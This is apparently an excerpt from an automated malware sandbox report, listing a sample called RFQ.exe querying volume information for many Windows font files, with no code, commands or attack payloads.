Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
